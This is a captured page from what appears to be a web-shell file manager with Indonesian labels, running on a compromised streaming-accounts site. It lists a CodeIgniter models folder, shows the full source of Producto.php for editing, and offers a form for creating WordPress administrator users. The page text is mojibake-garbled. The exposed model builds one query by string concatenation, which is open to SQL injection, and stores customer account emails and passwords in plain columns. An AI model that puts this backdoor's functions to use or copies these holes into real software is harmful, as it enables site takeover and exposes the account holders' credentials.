๐ File Editor (IP: )
๐ Root Folder:
๐ Buka
๐ Daftar isi: /home/goblinst/public_html/cuentas.goblinstreaming21.com/application/models
โฌ ๏ธ Kembali ke folder sebelumnya
๐
Cliente.php
๐
Configuracion.php
๐
Panel.php
๐
Perfil.php
๐
Producto.php
๐
Servicio.php
๐
Usuario.php
๐
Venta.php
๐
index.html
๐ Folder Baru:
+ Buat
๐ File Baru:
+ Buat
โ๏ธ Rename:
Cliente.php
Configuracion.php
Panel.php
Perfil.php
Producto.php
Servicio.php
Usuario.php
Venta.php
index.html
โก๏ธ
Rename
โ Tambah User WordPress (folder aktif)
๐ค Username:
๐ง Email:
๐ Password:
โ Buat User WP (admin)
๐ Mengedit: Producto.php
<?php class Producto extends CI_Model { public function obtenerTodos() { $this->db->join('servicios', 'id_ser=fk_id_ser'); $query = $this->db->get('productos'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function obtenerTodosPorServicio($id_ser) { $this->db->where("id_ser", $id_ser); $this->db->join('servicios', 'id_ser=fk_id_ser'); $query = $this->db->get('productos'); if ($query->num_rows() > 0) { return $query; } else { return false; } } public function obtenerTodosPorServicioJSON($id_ser) { $fechaActual = date("Y-m-d"); $this->db->where("id_ser", $id_ser); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('fecha_vencimiento_pro >', $fechaActual); $this->db->where('estado_pro = 1'); $query = $this->db->get('productos'); return $query->result(); } public function insertar($datosProductos) { return $this->db->insert('productos', $datosProductos); } public function importar($datosProductos) { return $this->db->insert_batch('productos', $datosProductos); } public function obtenerPorId($id) { $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where("id_pro", $id); $query = $this->db->get('productos'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } public function obtenerPorIdJSON($id) { $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('id_pro', $id); $query = $this->db->get('productos'); return $query->result(); } public function obtenerPorIdJSONService($id) { $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('id_pro', $id); $query = $this->db->get('productos'); return $query->result(); } public function eliminar($id) { $this->db->where("id_pro", $id); return $this->db->delete("productos"); } public function actualizar($id, $datosEditados) { $this->db->where("id_pro", $id); return $this->db->update("productos", $datosEditados); } public function obtenerPerfilesPorIdProducto($id_pro) { $this->db->join('perfiles', 'id_per=fk_id_per'); $this->db->where("fk_id_pro", $id_pro); $query = $this->db->get('ventas'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } var $table = 'productos'; var $column_order = array('id_pro', 'correo_pro', 'password_pro', 'fecha_vencimiento_pro', 'estado_pro', 'fk_id_ser'); var $order = array('id_pro', 'correo_pro', 'password_pro', 'fecha_vencimiento_pro', 'estado_pro', 'fk_id_ser'); private function _get_data_query($id_ser) { if ($this->session->userdata('C0n3ct4d0_Usr')) { if ($this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "ADMINISTRADOR" || $this->session->userdata('C0n3ct4d0_Usr')->perfil_usu == "VENDEDOR") { $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('id_ser', $id_ser); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect('paneles/index'); } } else { redirect(base_url('index.php/login/login')); } } public function nuevaFuncion() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } // Resto del cรณdigo para manejar la respuesta o renderizar la vista } public function obtenerTodosJson($id_ser) { $this->_get_data_query($id_ser); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function obtenerTodosJsontwo() { $this->nuevaFuncion(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } public function count_filtered_data_two() { $this->nuevaFuncion(); $query = $this->db->get(); return $query->num_rows(); } public function count_filtered_data($id_ser) { $this->_get_data_query($id_ser); $query = $this->db->get(); return $query->num_rows(); } public function count_all_data() { $this->db->from($this->table); return $this->db->count_all_results(); } public function obtenerIdServicioJSON($id_pro) { $sql = "select fk_id_ser from productos where productos.id_pro=" . $id_pro; $query = $this->db->query($sql); return $query->result(); } public function verificarEstadoProductos($id_pro) { $this->db->select('estado_pro'); $this->db->where("id_pro", $id_pro); $query = $this->db->get('productos'); if ($query->num_rows() > 0) { return $query->row(); } else { return false; } } //Vigentes Filter LR INICIO public function obtenerTodosPorVigenteJson() { $this->_get_data_query_por_vigente(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_por_vigente() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); //sumo 2 dรญas $fecha_fut = date("Y-m-d",strtotime($fecha_actual."+ 2 days")); $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('estado_pro = 1'); $this->db->where('fecha_vencimiento_pro >', $fecha_fut); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorVigentePJson($id_ser) { $this->_get_data_query_por_vigentep($id_ser); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_por_vigentep($id_ser) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); //sumo 2 dรญas $fecha_fut = date("Y-m-d",strtotime($fecha_actual."+ 2 days")); $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('estado_pro = 1'); $this->db->where('id_ser', $id_ser); $this->db->where('fecha_vencimiento_pro >', $fecha_fut); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } //Vigentes Filter LR FIN //Vencidos Filter LR INICIO public function obtenerTodosPorVencidoJson() { $this->_get_data_query_por_vencido(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_por_vencido() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('fecha_vencimiento_pro <=', $fecha_actual); $this->db->where('estado_pro = 1'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorVencidoPJson($id_ser) { $this->_get_data_query_por_vencidop($id_ser); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_por_vencidop($id_ser) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('fecha_vencimiento_pro <=', $fecha_actual); $this->db->where('id_ser', $id_ser); $this->db->where('estado_pro = 1'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } //Vencidos Filter LR FIN //Por Vencer Filter LR INICIO public function obtenerTodosPorVencerJson() { $this->_get_data_query_por_vencer(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_por_vencer() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); //sumo 2 dรญas $fecha_fut = date("Y-m-d",strtotime($fecha_actual."+ 2 days")); $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('fecha_vencimiento_pro >', $fecha_actual); $this->db->where('fecha_vencimiento_pro <=', $fecha_fut); $this->db->where('estado_pro = 1'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosPorVencerPJson($id_ser) { $this->_get_data_query_por_vencerp($id_ser); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_por_vencerp($id_ser) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); //sumo 2 dรญas $fecha_fut = date("Y-m-d",strtotime($fecha_actual."+ 2 days")); $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('fecha_vencimiento_pro >', $fecha_actual); $this->db->where('fecha_vencimiento_pro <=', $fecha_fut); $this->db->where('id_ser', $id_ser); $this->db->where('estado_pro = 1'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } //Por Vencer Filter LR FIN //Por vendido Filter LR INICIO public function obtenerTodosVendidoJson() { $this->_get_data_query_vendido(); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_vendido() { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('estado_pro = 2'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } public function obtenerTodosVendidoPJson($id_ser) { $this->_get_data_query_vendidop($id_ser); if ($_POST['length'] != -1) { $this->db->limit($_POST['length'], $_POST['start']); } $query = $this->db->get(); return $query->result(); } private function _get_data_query_vendidop($id_ser) { if ($this->session->userdata('C0n3ct4d0_Usr')) { $fecha_actual = date('Y-m-d'); $this->db->from($this->table); $this->db->select('productos.*, servicios.*'); $this->db->join('servicios', 'id_ser=fk_id_ser'); $this->db->where('id_ser', $id_ser); $this->db->where('estado_pro = 2'); if (isset($_POST['search']['value'])) { $this->db->group_start(); $this->db->like('correo_pro', $_POST['search']['value']); $this->db->or_like('password_pro', $_POST['search']['value']); $this->db->or_like('fecha_vencimiento_pro', $_POST['search']['value']); $this->db->group_end(); } if (isset($_POST['order'])) { $this->db->order_by($this->order[$_POST['order']['0']['column']], $_POST['order']['0']['dir']); } else { $this->db->order_by('correo_pro', 'ASC'); } } else { redirect(base_url('index.php/login/login')); } } //Por Vendido Filter LR FIN public function totalCuentas() { $this->db->from('productos'); return $this->db->count_all_results(); } public function totalCuentasVigentes(){ $fecha_actual = date('Y-m-d'); //sumo 2 dรญas $fecha_fut = date("Y-m-d",strtotime($fecha_actual."+ 2 days")); $this->db->where('estado_pro = 1'); $this->db->where('fecha_vencimiento_pro >', $fecha_fut); $this->db->from('productos'); return $this->db->count_all_results(); } public function totalCuentasporVencer(){ $fecha_actual = date('Y-m-d'); //sumo 2 dรญas $fecha_fut = date("Y-m-d",strtotime($fecha_actual."+ 2 days")); $this->db->where('fecha_vencimiento_pro >=', $fecha_actual); $this->db->where('fecha_vencimiento_pro <=', $fecha_fut); $this->db->where('estado_pro = 1'); $this->db->from('productos'); return $this->db->count_all_results(); } public function totalCuentasVencidas(){ $fecha_actual = date('Y-m-d'); $this->db->where('fecha_vencimiento_pro <=', $fecha_actual); $this->db->where('estado_pro = 1'); $this->db->from('productos'); return $this->db->count_all_results(); } public function totalCuentasVendidas(){ $this->db->where('estado_pro = 2'); $this->db->from('productos'); return $this->db->count_all_results(); } }
๐พ Simpan
๐ Replace Teks (Ctrl+H)
Cari:
Ganti Dengan:
Replace All
Tutup